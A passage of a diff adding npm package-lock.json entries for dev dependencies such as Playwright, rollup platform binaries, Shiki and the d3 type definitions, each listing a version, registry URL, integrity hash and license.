true, + "license": "MIT", + "dependencies": { + "langium": "3.0.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@playwright/test": { + "version": "1.50.1", + "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.50.1.tgz", + "integrity": "sha512-Jii3aBg+CEDpgnuDxEp/h7BimHcUTDlpEtce89xEumlJ5ef2hqepZ+PWp1DDpYC/VO9fmWVI1IlEaoI5fK9FXQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright": "1.50.1" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.8.tgz", + "integrity": "sha512-q217OSE8DTp8AFHuNHXo0Y86e1wtlfVrXiAlwkIvGRQv9zbc6mE3sjIVfwI8sYUyNxwOg0j/Vm1RKM04JcWLJw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.8.tgz", + "integrity": "sha512-Gigjz7mNWaOL9wCggvoK3jEIUUbGul656opstjaUSGC3eT0BM7PofdAJaBfPFWWkXNVAXbaQtC99OCg4sJv70Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.8.tgz", + "integrity": "sha512-02rVdZ5tgdUNRxIUrFdcMBZQoaPMrxtwSb+/hOfBdqkatYHR3lZ2A2EGyHq2sGOd0Owk80oV3snlDASC24He3Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.8.tgz", + "integrity": "sha512-qIP/elwR/tq/dYRx3lgwK31jkZvMiD6qUtOycLhTzCvrjbZ3LjQnEM9rNhSGpbLXVJYQ3rq39A6Re0h9tU2ynw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.8.tgz", + "integrity": "sha512-IQNVXL9iY6NniYbTaOKdrlVP3XIqazBgJOVkddzJlqnCpRi/yAeSOa8PLcECFSQochzqApIOE1GHNu3pCz+BDA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.8.tgz", + "integrity": "sha512-TYXcHghgnCqYFiE3FT5QwXtOZqDj5GmaFNTNt3jNC+vh22dc/ukG2cG+pi75QO4kACohZzidsq7yKTKwq/Jq7Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.8.tgz", + "integrity": "sha512-A4iphFGNkWRd+5m3VIGuqHnG3MVnqKe7Al57u9mwgbyZ2/xF9Jio72MaY7xxh+Y87VAHmGQr73qoKL9HPbXj1g==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.8.tgz", + "integrity": "sha512-S0lqKLfTm5u+QTxlFiAnb2J/2dgQqRy/XvziPtDd1rKZFXHTyYLoVL58M/XFwDI01AQCDIevGLbQrMAtdyanpA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.8.tgz", + "integrity": "sha512-jpz9YOuPiSkL4G4pqKrus0pn9aYwpImGkosRKwNi+sJSkz+WU3anZe6hi73StLOQdfXYXC7hUfsQlTnjMd3s1A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.8.tgz", + "integrity": "sha512-KdSfaROOUJXgTVxJNAZ3KwkRc5nggDk+06P6lgi1HLv1hskgvxHUKZ4xtwHkVYJ1Rep4GNo+uEfycCRRxht7+Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loongarch64-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.8.tgz", + "integrity": "sha512-NyF4gcxwkMFRjgXBM6g2lkT58OWztZvw5KkV2K0qqSnUEqCVcqdh2jN4gQrTn/YUpAcNKyFHfoOZEer9nwo6uQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-powerpc64le-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.8.tgz", + "integrity": "sha512-LMJc999GkhGvktHU85zNTDImZVUCJ1z/MbAJTnviiWmmjyckP5aQsHtcujMjpNdMZPT2rQEDBlJfubhs3jsMfw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.8.tgz", + "integrity": "sha512-xAQCAHPj8nJq1PI3z8CIZzXuXCstquz7cIOL73HHdXiRcKk8Ywwqtx2wrIy23EcTn4aZ2fLJNBB8d0tQENPCmw==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.8.tgz", + "integrity": "sha512-DdePVk1NDEuc3fOe3dPPTb+rjMtuFw89gw6gVWxQFAuEqqSdDKnrwzZHrUYdac7A7dXl9Q2Vflxpme15gUWQFA==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.8.tgz", + "integrity": "sha512-8y7ED8gjxITUltTUEJLQdgpbPh1sUQ0kMTmufRF/Ns5tI9TNMNlhWtmPKKHCU0SilX+3MJkZ0zERYYGIVBYHIA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.8.tgz", + "integrity": "sha512-SCXcP0ZpGFIe7Ge+McxY5zKxiEI5ra+GT3QRxL0pMMtxPfpyLAKleZODi1zdRHkz5/BhueUrYtYVgubqe9JBNQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.8.tgz", + "integrity": "sha512-YHYsgzZgFJzTRbth4h7Or0m5O74Yda+hLin0irAIobkLQFRQd1qWmnoVfwmKm9TXIZVAD0nZ+GEb2ICicLyCnQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.8.tgz", + "integrity": "sha512-r3NRQrXkHr4uWy5TOjTpTYojR9XmF0j/RYgKCef+Ag46FWUTltm5ziticv8LdNsDMehjJ543x/+TJAek/xBA2w==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.34.8", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.8.tgz", + "integrity": "sha512-U0FaE5O1BCpZSeE6gBl3c5ObhePQSfk9vDRToMmTkbhCOgW4jqvtS5LGyQ76L1fH8sM0keRp4uDTsbjiUyjk0g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@shikijs/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/core/-/core-2.5.0.tgz", + "integrity": "sha512-uu/8RExTKtavlpH7XqnVYBrfBkUc20ngXiX9NSrBhOVZYv/7XQRKUyhtkeflY5QsxC0GbJThCerruZfsUaSldg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/engine-javascript": "2.5.0", + "@shikijs/engine-oniguruma": "2.5.0", + "@shikijs/types": "2.5.0", + "@shikijs/vscode-textmate": "^10.0.2", + "@types/hast": "^3.0.4", + "hast-util-to-html": "^9.0.4" + } + }, + "node_modules/@shikijs/engine-javascript": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/engine-javascript/-/engine-javascript-2.5.0.tgz", + "integrity": "sha512-VjnOpnQf8WuCEZtNUdjjwGUbtAVKuZkVQ/5cHy/tojVVRIRtlWMYVjyWhxOmIq05AlSOv72z7hRNRGVBgQOl0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/types": "2.5.0", + "@shikijs/vscode-textmate": "^10.0.2", + "oniguruma-to-es": "^3.1.0" + } + }, + "node_modules/@shikijs/engine-oniguruma": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/engine-oniguruma/-/engine-oniguruma-2.5.0.tgz", + "integrity": "sha512-pGd1wRATzbo/uatrCIILlAdFVKdxImWJGQ5rFiB5VZi2ve5xj3Ax9jny8QvkaV93btQEwR/rSz5ERFpC5mKNIw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/types": "2.5.0", + "@shikijs/vscode-textmate": "^10.0.2" + } + }, + "node_modules/@shikijs/langs": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/langs/-/langs-2.5.0.tgz", + "integrity": "sha512-Qfrrt5OsNH5R+5tJ/3uYBBZv3SuGmnRPejV9IlIbFH3HTGLDlkqgHymAlzklVmKBjAaVmkPkyikAV/sQ1wSL+w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/types": "2.5.0" + } + }, + "node_modules/@shikijs/themes": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/themes/-/themes-2.5.0.tgz", + "integrity": "sha512-wGrk+R8tJnO0VMzmUExHR+QdSaPUl/NKs+a4cQQRWyoc3YFbUzuLEi/KWK1hj+8BfHRKm2jNhhJck1dfstJpiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/types": "2.5.0" + } + }, + "node_modules/@shikijs/transformers": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/transformers/-/transformers-2.5.0.tgz", + "integrity": "sha512-SI494W5X60CaUwgi8u4q4m4s3YAFSxln3tzNjOSYqq54wlVgz0/NbbXEb3mdLbqMBztcmS7bVTaEd2w0qMmfeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/core": "2.5.0", + "@shikijs/types": "2.5.0" + } + }, + "node_modules/@shikijs/types": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@shikijs/types/-/types-2.5.0.tgz", + "integrity": "sha512-ygl5yhxki9ZLNuNpPitBWvcy9fsSKKaRuO4BAlMyagszQidxcpLAr0qiW/q43DtSIDxO6hEbtYLiFZNXO/hdGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@shikijs/vscode-textmate": "^10.0.2", + "@types/hast": "^3.0.4" + } + }, + "node_modules/@shikijs/vscode-textmate": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/@shikijs/vscode-textmate/-/vscode-textmate-10.0.2.tgz", + "integrity": "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3": { + "version": "7.4.3", + "resolved": "https://registry.npmjs.org/@types/d3/-/d3-7.4.3.tgz", + "integrity": "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-array": "*", + "@types/d3-axis": "*", + "@types/d3-brush": "*", + "@types/d3-chord": "*", + "@types/d3-color": "*", + "@types/d3-contour": "*", + "@types/d3-delaunay": "*", + "@types/d3-dispatch": "*", + "@types/d3-drag": "*", + "@types/d3-dsv": "*", + "@types/d3-ease": "*", + "@types/d3-fetch": "*", + "@types/d3-force": "*", + "@types/d3-format": "*", + "@types/d3-geo": "*", + "@types/d3-hierarchy": "*", + "@types/d3-interpolate": "*", + "@types/d3-path": "*", + "@types/d3-polygon": "*", + "@types/d3-quadtree": "*", + "@types/d3-random": "*", + "@types/d3-scale": "*", + "@types/d3-scale-chromatic": "*", + "@types/d3-selection": "*", + "@types/d3-shape": "*", + "@types/d3-time": "*", + "@types/d3-time-format": "*", + "@types/d3-timer": "*", + "@types/d3-transition": "*", + "@types/d3-zoom": "*" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.1.tgz", + "integrity": "sha512-Y2Jn2idRrLzUfAKV2LyRImR+y4oa2AntrgID95SHJxuMUrkNXmanDSed71sRNZysveJVt1hLLemQZIady0FpEg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-axis": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-axis/-/d3-axis-3.0.6.tgz", + "integrity": "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-brush": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-brush/-/d3-brush-3.0.6.tgz", + "integrity": "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-chord": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-chord/-/d3-chord-3.0.6.tgz", + "integrity": "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-contour": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-contour/-/d3-contour-3.0.6.tgz", + "integrity": "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-array": "*", + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-dispatch": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-dispatch/-/d3-dispatch-3.0.6.tgz", + "integrity": "sha512-4fvZhzMeeuBJYZXRXrRIQnvUYfyXwYmLsdiN7XXmVNQKKw1cM8a5WdID0g1hVFZDqT9ZqZEY5pD44p24VS7iZQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-drag": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-drag/-/d3-drag-3.0.7.tgz", + "integrity": "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-dsv": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-dsv/-/d3-dsv-3.0.7.tgz", + "integrity": "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-fetch": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/@types/d3-fetch/-/d3-fetch-3.0.7.tgz", + "integrity": "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-dsv": "*" + } + }, + "node_modules/@types/d3-force": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@types/d3-force/-/d3-force-3.0.10.tgz", + "integrity": "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-format": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.4.tgz", + "integrity": "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-hierarchy": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-hierarchy/-/d3-hierarchy-3.1.7.tgz", + "integrity": "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-polygon": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-polygon/-/d3-polygon-3.0.2.tgz", + "integrity": "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-quadtree": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@types/d3-quadtree/-/d3-quadtree-3.0.6.tgz", + "integrity": "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-random": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-random/-/d3-random-3.0.3.tgz", + "integrity": "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-scale-chromatic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-scale-chromatic/-/d3-scale-chromatic-3.1.0.tgz", + "integrity": "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-selection": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/@types/d3-selection/-/d3-selection-3.0.11.tgz", + "integrity": "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-shape": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", + "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-time-format": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-4.0.3.tgz", + "integrity": "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/d3-transition": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-transition/-/d3-transition-3.0.9.tgz", + "integrity": "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-selection": "*" + } + }, + "node_modules/@types/d3-zoom": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/@types/d3-zoom/-/d3-zoom-3.0.8.tgz", + "integrity": "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/d3-interpolate": "*", + "@types/d3-selection": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz", + "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/geojson": { + "version": "7946.0.16", + "resolved": 